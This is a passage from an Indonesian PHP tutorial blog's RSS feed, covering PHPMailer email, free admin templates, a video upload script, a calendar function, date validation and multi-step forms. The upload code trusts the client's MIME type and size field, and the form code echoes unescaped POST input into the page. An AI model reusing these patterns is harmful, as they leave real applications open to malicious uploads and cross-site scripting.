    $sendmail-&gt;Body='&lt;h2&gt;Percobaan&lt;/h2&gt;&lt;p&gt;Disini anda bisa tulis pesan dengan HTML&lt;/p&gt;
	&lt;table&gt;&lt;tr&gt;&lt;td&gt;Anda juga bisa buat tabel disini&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;'; //isi pesan
    $sendmail-&gt;isHTML(true);
    if(!$sendmail-&gt;Send()) 
    {
      echo &quot;Email gagal dikirim : &quot; . $sendmail-&gt;ErrorInfo;  
    } 
    else 
    { 
      echo &quot;Email berhasil terkirim!&quot;;  
    }
?&gt;
</pre>
<p>Jika anda sudah coba download paket PHPMailer, didalamnya anda juga akan dapati contoh (dalam folder example) penggunaan&nbsp; dengan cara lain seperti smtp, email dengan attachment dll.</p>
<p>Baca juga <a href="https://www.zainalhakim.web.id/posting/mengirim-email-laporan-dari-database-mysql-dengan-phpmailer.html">Mengirim email laporan dari database mysql dengan PHPMailer</a></p>
<p>Semoga bermanfaat dan selamat mencoba</p>
<p>Zainal Hakim</p>]]></description>
<pubDate>Sun, 13 Apr 2014 02:04:13 GMT</pubDate>
</item>
<item>
<title>Template halaman admin gratis</title>
<link>https://www.zainalhakim.web.id/posting/template-halaman-admin-gratis.html</link>
<guid>https://www.zainalhakim.web.id/posting/template-halaman-admin-gratis.html</guid>
<description><![CDATA[<p>Setiap kali kita membuat sebuah aplikasi web tentunya pasti menginginkan  hasil yang baik, enak dilihat, tampilan yang cepat, fleksibel dan  gampang untuk dikembangkan. Dan satu lagi tentunya lagi hemat waktu  dalam membuatnya. Bagi sebagian orang yang kemampuan desainnya kurang  mungkin akan sangat sulit untuk menghasilkan dashboard admin seperti  kriteria diatas sehingga harus mencari alternatif yang sifatnya instan.  Berikut ini beberapa template halaman admin yang bisa anda download dan  gunakan secara gratis.</p>
<h2>In Admin Panel</h2>
<p>Tampilan halaman In Admin Panel ini dari segi tampilan warna dan susunan layoutnya cukup menarik&nbsp; dengan dukungan menu dropdown pada bagian atasnya. Komponen css untuk mengatur tampilan elemen html seperti heading juga cukup lengkap sehingga jika kita menggunakan template ini tidak perlu lagi menambahkannya lagi.</p>
<p><img class="img-fluid" width="400" height="246" alt="Template admin gratis 1" src="/uploads/image/template-admin-gratis-1.jpg" /></p>
<p><a href="https://media.indeziner.com:81/freecsstemplates/in-admin-panel/" rel="external nofollow">Demo</a> | <a href="https://media.indeziner.com:81/freecsstemplates/in-admin-panel.zip">Download</a></p>
<h2>CSS Admin Panel</h2>
<p>Bagi anda yang ingin tampilan dengan sistem tabmenu, mungkin template admin ini sangat memenuhi kriteria. Didukung dengan ikon grafis yang yang mewakili tiap menunya. Perpaduan warna juga cukup baik dengan layout yang cukup mudah digunakan. CSS&nbsp;admin panel ini juga sudah dilengkapi dengan berbagai komponen css yang cukup lengkap untuk menghiasi tabel, kotak pesan dan elemen lainya yang tentunya sangat mempermudah anda dalam menyelesaikan sebuah aplikasi.</p>
<p><img class="img-fluid" width="400" height="246" alt="Template admin gratis 2" src="/uploads/image/template-admin-gratis-2.jpg" /></p>
<p><a href="https://www.templatescreme.com/demo/css-admin-panel/319" rel="external nofollow">Demo</a> |&nbsp;<a href="https://www.templatescreme.com/downloading/profi-admin">Download</a></p>
<h2>Transdmin Light</h2>
<p>Bagi anda yang ingin tampilan admin sederhana dan tentunya memliki kecepatan yang baik, bisa memilih template halaman admin yang satu ini. Walau terlihat sederhana tapi dari segi kemudahan penataan layout cukup baik.</p>
<p><img class="img-fluid" width="400" height="246" alt="template admin gratis 3" src="/uploads/image/template-admin-gratis-3.jpg" /></p>
<p><a href="https://www.templatescreme.com/demo/transdmin-light/198" rel="external nofollow">Demo</a> |&nbsp;<a href="https://www.templatescreme.com/downloading/transdmin-light">Download</a></p>
<h2>HTML5 Admin Template</h2>
<p>Halaman admin yang satu ini cukup lengkap, sudah dibuat dengan teknologi HTML5 dan Jquery. Dari tampilan jangan diragukan lagi sudah dirancang responsive sehingga akan sangat kompatibel dengan beragam ukuran layar pada saat mengaksesnya.</p>
<p><img class="img-fluid" width="400" height="246" src="/uploads/image/template-admin-gratis-4.jpg" alt="template halaman admin gratis 4" /></p>
<p><a href="https://medialoot.com/preview/admin-template/" rel="external nofollow">Demo</a> |&nbsp;<a href="https://medialoot.com/item/html5-admin-template/">Download</a></p>
<h2>ECommerce Admin Template</h2>
<p>Bagi anda yang lagi membangun aplikasi e-commerce mungkin tampilan halaman admin yang satu ini sangat ideal menjadi pilihan anda. Dari menunya bisa anda lihat disajikan dalam bentuk tab yang sangat mudah disesuaikan dengan kebutuhan anda. Tersedia dalam 3 pilihan warna yaitu biru, merah dan hijau.</p>
<p><img class="img-fluid" width="400" height="246" alt="Template halaman admin 5" src="/uploads/image/template-admin-gratis-5.jpg" /></p>
<p><a href="https://www.bloganje.com/free-admin-template.html" rel="external nofollow">Demo</a> |&nbsp;<a href="https://www.bloganje.com/wp-content/uploads/2008/07/admin_template.rar">Download</a></p>
<p>Semoga bermanfaat dan bisa memberi inspirasi baru buat anda.</p>
<p>Zainal Hakim</p>
<p>&nbsp;</p>]]></description>
<pubDate>Mon, 17 Mar 2014 11:03:51 GMT</pubDate>
</item>
<item>
<title>Membuat upload video dengan php</title>
<link>https://www.zainalhakim.web.id/posting/membuat-upload-video-dengan-php.html</link>
<guid>https://www.zainalhakim.web.id/posting/membuat-upload-video-dengan-php.html</guid>
<description><![CDATA[<p style="text-align: center;"><img class="img-fluid" src="/uploads/image/php.jpg" alt="Membuat upload video dengan php" /></p>
<p>Lama tidak berbagi tentang php, berikut ini saya ingin berbagi tentang cara membuat upload video dengan php.</p>
<p>Secara  teknik dasar membuat form upload untuk video tidak berbeda dengan cara  membuat form upload gambar yang sudah saya tulis pada tutorial  sebelumnya. Hanya berbeda pada bagian proses menangani file yang  diupload ke server.</p>
<p>Berikut ini contoh lengkap script untuk upload video dengan jenis mp4, 3gp dan flv.</p>
<pre class="brush:php">
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Upload Video dengan PHP&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div style=&quot;width:800px;margin:20px auto; text-align:center&quot;&gt;
&lt;?php
if (isset($_REQUEST['upload']))
{
	$name=$_FILES['file_video']['name'];
	$type=$_FILES['file_video']['type'];
	$size=$_FILES['file_video']['size'];
	//replace tanda spasi pada nama file dengan _
	$nama_file=str_replace(&quot; &quot;,&quot;_&quot;,$name);
	$tmp_name=$_FILES['file_video']['tmp_name'];
	$nama_folder=&quot;video/&quot;;
	$nama_file_baru=$nama_folder.basename($nama_file);
	//Filter jenis file video dan ukuran file
	if ((($type == &quot;video/mp4&quot;) || ($type == &quot;video/3gpp&quot;)	|| ($type == &quot;video/x-flv&quot;)) &amp;&amp; ($size &lt; $_POST['MAX_FILE_SIZE']))
	{
		//cek jika nama dile sudah ada
		if (file_exists($nama_file_baru))
		{
			$msg=&quot;Nama file $nama_file sudah ada!\n&quot;;
		} 
		else
		{	
			//pindah file dari temporari ke alamat tujuan
			if(move_uploaded_file($tmp_name,$nama_file_baru))
			{
				$msg=&quot;File video $nama_file berhasil diupload&quot;;
			}
		}
	} 
	else
	{
		$msg=&quot;Jenis file tidak sesuai atau ukuran file terlalu besar!&quot;;
	}
	echo &quot;&lt;p align=\&quot;center\&quot;&gt;$msg&lt;/p&gt;&quot;;
}
else
{
?&gt;
&lt;fieldset&gt;
&lt;legend&gt;Upload Video&lt;/legend&gt;
&lt;form name=&quot;fvideo&quot; enctype=&quot;multipart/form-data&quot; method=&quot;post&quot; action=&quot;&quot; style=&quot;padding:10px;&quot;&gt;
&lt;input name=&quot;MAX_FILE_SIZE&quot; value=&quot;50000000&quot; type=&quot;hidden&quot;/&gt;
&lt;input type=&quot;file&quot; name=&quot;file_video&quot; /&gt;
&lt;input type=&quot;submit&quot; name=&quot;upload&quot; value=&quot;Kirim&quot; /&gt;
&lt;/form&gt;
&lt;/fieldset&gt;
&lt;?php
}
?&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p><a href="https://www.zainalhakim.web.id/download/contoh-upload-video-dengan-php.html">Silahkan download script upload video</a></p>
<p>Semoga bermanfaat. Silahkan dikoreksi jika ada yang salah, dan jangan sungkan untuk bertanya jika ada yang kurang jelas. Baca juga remark yang sudah saya buat pada bagian script phpnya.</p>
<p>Zainal Hakim</p>]]></description>
<pubDate>Mon, 3 Feb 2014 12:02:19 GMT</pubDate>
</item>
<item>
<title>Membuat kalender bulan dengan php</title>
<link>https://www.zainalhakim.web.id/posting/membuat-kalender-bulan-dengan-php.html</link>
<guid>https://www.zainalhakim.web.id/posting/membuat-kalender-bulan-dengan-php.html</guid>
<description><![CDATA[<p><img class="img-fluid" width="150" height="150" align="left" src="/uploads/image/membuat-kalender-bulan-dengan-php.jpg" alt="Kalender bulan dengan php" />Jika anda membuat aplikasi berbasis web, fitur yang yang sering  diandalkan adalah tampilan dan kemudahan membuat laporan. Misal saja  dalam aplikasi yang anda buat ada salah satu laporan yang menyajikanya  berdasarkan tanggal. Untuk mempermudah dalam menginput tanggal anda bisa  tampilkan kalender bulan. Berikut ini saya ingin berbagi tentang  bagaimana membuat kalender bulan dengan php.</p>
<p>Langkah pertama adalah membuat css untuk menyusun tampilan kalendernya. Isi css bisa anda tulis seperti berikut :</p>
<pre class="brush:css">
&lt;style type=&quot;text/css&quot;&gt;
/* calendar */
table.calendar		{ border-left:1px solid #999; }
tr.calendar-row	{  }
td.calendar-day	{ min-height:80px; font-size:11px; position:relative; } * html div.calendar-day { height:80px; }
td.calendar-day:hover	{ background:#eceff5; }
td.calendar-day-np	{ background:#eee; min-height:80px; } * html div.calendar-day-np { height:80px; }
td.calendar-day-head { background:#ccc; font-weight:bold; text-align:center; width:120px; padding:5px; border-bottom:1px solid #999; border-top:1px solid #999; border-right:1px solid #999; }
div.day-number		{ background:#999; padding:5px; color:#fff; font-weight:bold; float:right; margin:-5px -5px 0 0; width:20px; text-align:center; }
/* shared */
td.calendar-day, td.calendar-day-np { width:120px; padding:5px; border-bottom:1px solid #999; border-right:1px solid #999; }
&lt;/style&gt;
</pre>
<p>Setelah css, anda memerlukan sebuah fungsi untuk menampikan kalende berdasar bulan yang ditentukan. Lihat script berikut :</p>
<pre class="brush:php">
function draw_calendar($month,$year){
	/* draw table */
	$calendar = '&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;calendar&quot;&gt;';
	/* table headings */
	$headings = array('Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday');
	$calendar.= '&lt;tr class=&quot;calendar-row&quot;&gt;&lt;td class=&quot;calendar-day-head&quot;&gt;'.implode('&lt;/td&gt;&lt;td class=&quot;calendar-day-head&quot;&gt;',$headings).'&lt;/td&gt;&lt;/tr&gt;';
	/* days and weeks vars now ... */
	$running_day = date('w',mktime(0,0,0,$month,1,$year));
	$days_in_month = date('t',mktime(0,0,0,$month,1,$year));
	$days_in_this_week = 1;
	$day_counter = 0;
	$dates_array = array();
	/* row for week one */
	$calendar.= '&lt;tr class=&quot;calendar-row&quot;&gt;';
	/* print &quot;blank&quot; days until the first of the current week */
	for($x = 0; $x &lt; $running_day; $x++):
		$calendar.= '&lt;td class=&quot;calendar-day-np&quot;&gt; &lt;/td&gt;';
		$days_in_this_week++;
	endfor;

	/* keep going with days.... */
	for($list_day = 1; $list_day &lt;= $days_in_month; $list_day++):
		$calendar.= '&lt;td class=&quot;calendar-day&quot;&gt;';
			/* add in the day number */
			$calendar.= '&lt;div class=&quot;day-number&quot;&gt;'.$list_day.'&lt;/div&gt;';

			/** QUERY THE DATABASE FOR AN ENTRY FOR THIS DAY !!  IF MATCHES FOUND, PRINT THEM !! **/
			$calendar.= str_repeat('&lt;p&gt; &lt;/p&gt;',2);
			
		$calendar.= '&lt;/td&gt;';
		if($running_day == 6):
			$calendar.= '&lt;/tr&gt;';
			if(($day_counter+1) != $days_in_month):
				$calendar.= '&lt;tr class=&quot;calendar-row&quot;&gt;';
			endif;
			$running_day = -1;
			$days_in_this_week = 0;
		endif;
		$days_in_this_week++; $running_day++; $day_counter++;
	endfor;

	/* finish the rest of the days in the week */
	if($days_in_this_week &lt; 8):
		for($x = 1; $x &lt;= (8 - $days_in_this_week); $x++):
			$calendar.= '&lt;td class=&quot;calendar-day-np&quot;&gt; &lt;/td&gt;';
		endfor;
	endif;

	/* final row */
	$calendar.= '&lt;/tr&gt;';

	/* end the table */
	$calendar.= '&lt;/table&gt;';
	
	/* all done, return result */
	return $calendar;
}
</pre>
<p>Setelah function menampilkan sudah anda tuliskan, tinggal memanggil function tersebut dengan cara :</p>
<pre class="brush:php">
echo '&lt;h2&gt;Nopember 2014&lt;/h2&gt;';
echo draw_calendar(9,2014);

echo '&lt;h2&gt;Desember 2014&lt;/h2&gt;';
echo draw_calendar(12,2014);
</pre>
<p>Pada script diatas, anda cukup memanggil fungsi draw_calendar dan menetapkan bulan dan tahun kalender yang anda buat.</p>
<p>Hasilnya :</p>
<p><img class="img-fluid" width="500" height="500" alt="Membuat kalender dengan php dan css" src="/uploads/image/membuat-kalender-bulan-dengan-php-css.jpg" /></p>
<p>Anda juga bisa kembangkan kalender diatas untuk berbagai kondisi keperluan dengan mengubah beberapa baris function draw_calendar.</p>
<p>Silahkan lihat <a target="_blank" href="https://www.zainalhakim.web.id/demo/kalender.php">demo kalender dengan php disini</a>. Jika anda ingin download <a href="https://www.zainalhakim.web.id/download/contoh-membuat-kalender-dengan-php.html">contoh membuat kalender dengan php</a> bisa diambil disini.</p>
<p>Sumber : https://davidwalsh.name/php-calendar</p>
<p>Semoga bermanfaat</p>
<p>Zainal Hakim</p>]]></description>
<pubDate>Thu, 14 Nov 2013 01:11:50 GMT</pubDate>
</item>
<item>
<title>Memastikan benar salah input tanggal</title>
<link>https://www.zainalhakim.web.id/posting/memastikan-benar-salah-input-tanggal.html</link>
<guid>https://www.zainalhakim.web.id/posting/memastikan-benar-salah-input-tanggal.html</guid>
<description><![CDATA[<p>Jika anda membuat sebuah inputan untuk tanggal secara manual, kemungkinan terjadinya kesalahan dalam inputnya pasti ada. Untuk memastikan benar salah input tanggal  tersebut anda bisa lakukan sebuah rutin pengecekan dengan php. Berikut  ini kode program berupa function yang anda bisa gunakan untuk memastikan  input tanggal tersebut benar.</p>
<pre class="brush:php;">
function PeriksaFormatTanggal($date)
{
    //memastikan tangal yang diinput adalah angka dan simbol
    if (preg_match (&quot;/^([0-9]{4})-([0-9]{2})-([0-9]{2})$/&quot;, $date, $segmen))
    {
        //cek apakah tanggal input valid
        if(checkdate($segmen[2],$segmen[3],$segmen[1]))
            return true;
        else
        return false;
    }
    else
        return false;
}
</pre>
<p>Cara menggunakan :</p>
<pre class="brush:php;">
&lt;?php
$tanggal=$_POST['tanggal'];
if(PeriksaFormatTanggal($tanggal))
{
  echo &quot;Tanggal Benar&quot;;
}
else
{
  echo &quot;Tanggal Salah&quot;;
}
?&gt;
</pre>
<p>Semoga bermanfaat</p>
<p>Zainal Hakim</p>]]></description>
<pubDate>Thu, 14 Nov 2013 01:11:51 GMT</pubDate>
</item>
<item>
<title>Membagi form dalam beberapa halaman</title>
<link>https://www.zainalhakim.web.id/posting/membagi-form-dalam-beberapa-halaman.html</link>
<guid>https://www.zainalhakim.web.id/posting/membagi-form-dalam-beberapa-halaman.html</guid>
<description><![CDATA[<p>Ada beberapa contoh kasus yang mengharuskan kita membagi form dalam beberapa halaman, agar proses input lebih mudah dan dapat memunculkan pilihan sesuai dengan inputan awal. Berikut ini saya akan berbagi trick bagaimana membuat beberapa form yang terpisah halaman bisa saling terhubung dalam sebuah proses.</p>
<p>Contoh kasus yang mengharuskan kita membagi form dalam beberapa halaman adalah pendataan dengan inputan yang cukup banyak. Misal data yang harus diinput lebih dari 20 atau 30 field input. Jika anda paksakan dimasukkan dalam satu halaman, maka kemungkinan penyusunan textbox maupun objek lainnya akan sangat sulit. Apalagi dengan keterbatasan layar yang mengakibatkan faktor keindahanya berkurang karena kepenuhan. Disamping itu kadang kala form yang memiliki inputan yang banyak dalam satu halaman akan sedikit menyulitkan bagi sebagian pengguna.</p>
<p>Contoh kasus lain, seperti inputan yang dilakukan secara bertahap dan bercabang. Proses inputan awal akan mempengaruhi form berikutnya yang mungkin saja berbeda. Misal anda membuat sistem survei yang terdiri dari serangkaian pertanyaan yang berbeda.</p>
<p>Saya akan contohkan yang sederhana pada kasus pendaftaran keanggotaan dengan skenario :</p>
<p>Form awal akan menampilkan nama, alamat dan pilihan jenis keanggotaan yang terdiri dari gratis dan berbayar. Setelah form awal dikirim dan jenis keanggotaan yang dipilih adalah gratis, maka akan memunculkan form isian nama teman yang direkomendasikan. Dan jika memilih jenis keanggotaan berbayar, maka akan memunculkan form jenis pembayaran dll.</p>
<p>Tahap terakhir dari proses tersebut akan kita simpan dalam database.</p>
<h2>Membuat form tahap 1</h2>
<p>Form utama tahap 1 akan saya rancang seperti berikut :</p>
<p><img class="img-fluid" width="520" height="277" src="/uploads/image/form-bertahap/form-bertahap1.jpg" alt="Membagi form dalam beberapa halaman 1" /></p>
<p>Dengan susunan html :</p>
<pre class="brush:php;">
&lt;form id=&quot;Form1&quot; name=&quot;Form1&quot; method=&quot;post&quot; action=&quot;form2.php&quot;&gt;
  &lt;table width=&quot;500&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; bgcolor=&quot;#336600&quot;&gt;
    &lt;tr&gt;
      &lt;td height=&quot;50&quot; colspan=&quot;3&quot; align=&quot;center&quot;&gt;PENDAFTARAN ANGGOTA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td width=&quot;132&quot;&gt;NAMA&lt;/td&gt;
      &lt;td width=&quot;3&quot;&gt;:&lt;/td&gt;
      &lt;td width=&quot;305&quot;&gt;&lt;input name=&quot;nama&quot; type=&quot;text&quot; id=&quot;nama&quot; size=&quot;30&quot; maxlength=&quot;30&quot; required=&quot;true&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ALAMAT&lt;/td&gt;
      &lt;td&gt;:&lt;/td&gt;
      &lt;td&gt;&lt;input name=&quot;alamat&quot; type=&quot;text&quot; id=&quot;alamat&quot; size=&quot;50&quot; maxlength=&quot;100&quot; required=&quot;true&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;KEANGGOTAAN&lt;/td&gt;
      &lt;td&gt;:&lt;/td&gt;
      &lt;td&gt;&lt;select name=&quot;jenis_anggota&quot; id=&quot;jenis_anggota&quot;&gt;
        &lt;option value=&quot;1&quot;&gt;Gratis&lt;/option&gt;
        &lt;option value=&quot;2&quot;&gt;Berbayar&lt;/option&gt;
      &lt;/select&gt;      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td height=&quot;50&quot; colspan=&quot;3&quot; align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;btnLanjut&quot; id=&quot;btnLanjut&quot; value=&quot;Lanjut&quot; /&gt;
      &lt;input type=&quot;reset&quot; name=&quot;Reset&quot; id=&quot;button&quot; value=&quot;Ulangi&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
&lt;/form&gt;
</pre>
<p>Form diatas, akan dikirim ke form lanjutan yaitu form 2 yang akan menampilkan form sesuai dengan pilihan jenis anggota.</p>
<h2>Membuat form tahap 2</h2>
<p>Form tahap kedua, akan melakukan proses lanjutan dengan mengambil nilai dari form tahap pertama. Jika pada form pertama jenis keanggotaan dipilih gratis maka akan dimanculkan form 2 dengan tampilan seperti berikut :</p>
<p><img class="img-fluid" width="510" height="316" src="/uploads/image/form-bertahap/form-bertahap11.jpg" alt="membuat form tahap 2" /></p>
<p>Dana jika dipilih berbayar maka akan tampil form seperti berikut :</p>
<p><img class="img-fluid" width="510" height="353" src="/uploads/image/form-bertahap/form-bertahap12.jpg" alt="membuat form tahap 2" /></p>
<p>Kode html form 2 :</p>
<pre class="brush:php;">
&lt;?php if($_POST['jenis_anggota']==1) { ?&gt;
&lt;form id=&quot;Form2&quot; name=&quot;Form2&quot; method=&quot;post&quot; action=&quot;form3.php&quot;&gt;
  &lt;table width=&quot;500&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; bgcolor=&quot;#336600&quot;&gt;
    &lt;tr&gt;
      &lt;td height=&quot;50&quot; colspan=&quot;3&quot; align=&quot;center&quot;&gt;REKOMENDASI TEMAN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NAMA&lt;/td&gt;
      &lt;td&gt;:&lt;/td&gt;
      &lt;td&gt;&lt;?php echo $_POST['nama']?&gt;&lt;input name=&quot;nama&quot; type=&quot;hidden&quot; id=&quot;nama&quot; value=&quot;&lt;?php echo $_POST['nama']?&gt;&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ALAMAT&lt;/td&gt;
      &lt;td&gt;:&lt;/td&gt;
      &lt;td&gt;&lt;?php echo $_POST['alamat']?&gt;&lt;input name=&quot;alamat&quot; type=&quot;hidden&quot; id=&quot;alamat&quot; value=&quot;&lt;?php echo $_POST['alamat']?&gt;&quot; /&gt;&lt;input name=&quot;jenis_anggota&quot; type=&quot;hidden&quot; id=&quot;jenis_anggota&quot; value=&quot;&lt;?php echo $_POST['jenis_anggota']?&gt;&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td width=&quot;132&quot;&gt;EMAIL 1&lt;/td&gt;
      &lt;td width=&quot;3&quot;&gt;:&lt;/td&gt;
      &lt;td width=&quot;305&quot;&gt;&lt;input name=&quot;email1&quot; type=&quot;email&quot; id=&quot;email1&quot; size=&quot;30&quot; maxlength=&quot;100&quot; required=&quot;true&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;EMAIL 2&lt;/td&gt;
      &lt;td&gt;:&lt;/td&gt;
      &lt;td&gt;&lt;input name=&quot;email2&quot; type=&quot;email&quot; id=&quot;email2&quot; size=&quot;30&quot; maxlength=&quot;100&quot; required=&quot;true&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td height=&quot;50&quot; colspan=&quot;3&quot; align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;btnSimpan&quot; id=&quot;btnSimpan&quot; value=&quot;Simpan&quot; /&gt;
      &lt;input type=&quot;button&quot; name=&quot;btnKembali&quot; id=&quot;btnKembali&quot; value=&quot;Kembali&quot; onclick=&quot;javascript:window.back()&quot; /&gt;
      &lt;input type=&quot;reset&quot; name=&quot;Reset&quot; id=&quot;button&quot; value=&quot;Ulangi&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
&lt;/form&gt;
&lt;?php } else { ?&gt;
&lt;form id=&quot;Form2&quot; name=&quot;Form2&quot; method=&quot;post&quot; action=&quot;form3.php&quot;&gt;
  &lt;table width=&quot;500&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; bgcolor=&quot;#336600&quot;&gt;
    &lt;tr&gt;
      &lt;td height=&quot;50&quot; colspan=&quot;3&quot; align=&quot;center&quot;&gt;JENIS PEMBAYARAN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NAMA&lt;/td&gt;
      &lt;td&gt;:&lt;/td&gt;
      &lt;td&gt;&lt;?php echo $_POST['nama']?&gt;&lt;input name=&quot;nama&quot; type=&quot;hidden&quot; id=&quot;nama&quot; value=&quot;&lt;?php echo $_POST['nama']?&gt;&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ALAMAT&lt;/td&gt;
      &lt;td&gt;:&lt;/td&gt;
      &lt;td&gt;&lt;?php echo $_POST['alamat']?&gt;&lt;input name=&quot;alamat&quot; type=&quot;hidden&quot; id=&quot;alamat&quot; value=&quot;&lt;?php echo $_POST['alamat']?&gt;&quot; /&gt;
      &lt;input name=&quot;jenis_anggota&quot; type=&quot;hidden&quot; id=&quot;jenis_anggota&quot; value=&quot;&lt;?php echo $_POST['jenis_anggota']?&gt;&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td width=&quot;132&quot;&gt;NAMA BANK&lt;/td&gt;
      &lt;td width=&quot;3&quot;&gt;:&lt;/td&gt;
      &lt;td width=&quot;305&quot;&gt;&lt;input name=&quot;nama_bank&quot; type=&quot;text&quot; id=&quot;nama_bank&quot; size=&quot;30&quot; maxlength=&quot;30&quot; required=&quot;true&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PEMILIK&lt;/td&gt;
      &lt;td&gt;:&lt;/td&gt;
      &lt;td&gt;&lt;input name=&quot;nama_pemilik&quot; type=&quot;text&quot; id=&quot;nama_pemilik&quot; size=&quot;30&quot; maxlength=&quot;50&quot; required=&quot;true&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NOMOR&lt;/td&gt;
      &lt;td&gt;&amp;nbsp;&lt;/td&gt;
      &lt;td&gt;&lt;input name=&quot;nomor_rekening&quot; type=&quot;text&quot; id=&quot;nomor_rekening&quot; size=&quot;30&quot; maxlength=&quot;30&quot; required=&quot;true&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td height=&quot;50&quot; colspan=&quot;3&quot; align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;btnSimpan&quot; id=&quot;btnSimpan&quot; value=&quot;Simpan&quot; /&gt;
        &lt;input type=&quot;button&quot; name=&quot;btnKembali&quot; id=&quot;btnKembali&quot; value=&quot;Kembali&quot; onclick=&quot;javascript:window.back()&quot; /&gt;
      &lt;input type=&quot;reset&quot; name=&quot;Reset&quot; id=&quot;button&quot; value=&quot;Ulangi&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
&lt;/form&gt;
&lt;?php } ?&gt;
</pre>
<p>Pada form ke 2, jika anda amati lebih detail pada perintah htmlnya, ada beberapa objek form yang tersembunyi type=&quot;hidden&quot; yang ditanamkan dan akan dibawa ke tahap selanjutnya. Objek form yang tersembunyi tersebut diberi nilai sesuai dengan inputan awal dengan perintah $_POST['nama_objek']. Amati pada perintah :</p>
<pre class="brush:php;">
&lt;input name=&quot;nama&quot; type=&quot;hidden&quot; id=&quot;nama&quot; value=&quot;&lt;?php echo $_POST['nama']?&gt;&quot; /&gt;</pre>
<h2>Halaman tahap 3</h2>
<p>Halaman ke 3 pada tahapan proses ini adalah bagian proses selanjutnya, bisa menyimpan atau melanjutkan form setelahnya.</p>
<p>Nilai yang dikirim ke halaman 3 tergantung inputan pada tahap dua. Jika tahap ke 2 yang muncul pembayaran maka nilai yang bisa diambil pada halaman 3 yaitu : nama, alamat, jenis_anggota, nama_bank, pemilik dan nomor. Dan jika yang muncul rekomendasi teman maka halaman 3 akan menerima nilai : nama, alamatm jenis_anggota, email1 dan email2.</p>
<p>Berikut ini file <a href="https://www.zainalhakim.web.id/download/contoh-membagi-form-dalam-beberapa-halaman.html">contoh membagi form dalam beberapa halaman</a></p>
<p>Semoga bermanfaat</p>
<p>Zainal Hakim</p>]]></description>
<pubDate>Mon, 30 Sep 2013 23:09:27 GMT</pubDate>
</item>
<item>
<title>Contoh Kirim Email Laporan database MYSQL</title>
<link>https://www.zainalhakim.web.id/download/contoh-kirim-email-laporan-database-mysql.html</link>
<guid>https://www.zainalhakim.web.id/download/contoh-kirim-email-laporan-database-mysql.html</guid>
<description><![CDATA[<p>Berikut ini contoh php mengirim email laporan dari mysql dengan library PHPMailer. Tutorial lengkapnya anda bisa baca di : <a href="https://www.zainalhakim.web.id/posting/mengirim-email-laporan-dari-database-mysql-dengan-phpmailer.html">Mengririm email laporan database mysql dengan PHPMailer</a> </p>]]></description>
<pubDate>Sun, 13 Apr 2014 03:04:16 GMT</pubDate>
</item>
<item>
<title>Contoh Upload video dengan php</title>
<link>https://www.zainalhakim.web.id/download/contoh-upload-video-dengan-php.html</link>
<guid>https://www.zainalhakim.web.id/download/contoh-upload-video-dengan-php.html</guid>
<description><![CDATA[<p>Secara teknik dasar membuat form upload untuk video tidak berbeda dengan cara membuat form upload gambar yang sudah saya tulis pada tutorial sebelumnya. Hanya berbeda pada bagian proses menangani file yang diupload ke server.</p>]]></description>
<pubDate>Mon, 3 Feb 2014 12:02:51 GMT</pubDate>
</item>
<item>
<title>Contoh Membuat Kalender dengan PHP</title>
<link>https://www.zainalhakim.web.id/download/contoh-membuat-kalender-dengan-php.html</link>
<guid>https://www.zainalhakim.web.id/download/contoh-membuat-kalender-dengan-php.html</guid>
<description><![CDATA[<p>Jika anda membuat aplikasi berbasis web, fitur yang yang sering  diandalkan adalah tampilan dan kemudahan membuat laporan. Misal saja  dalam aplikasi yang anda buat ada salah satu laporan yang menyajikanya  berdasarkan tanggal. Untuk mempermudah dalam menginput tanggal anda bisa  tampilkan kalender bulan. Berikut ini saya ingin berbagi tentang  bagaimana membuat kalender bulan dengan php.</p>
<p>Baca tutorial lengkap <a href="https://www.zainalhakim.web.id/posting/membuat-kalender-bulan-dengan-php.html ">membuat kalender dengan php</a>.</p>]]></description>
<pubDate>Thu, 14 Nov 2013 01:11:05 GMT</pubDate>
</item>
<item>
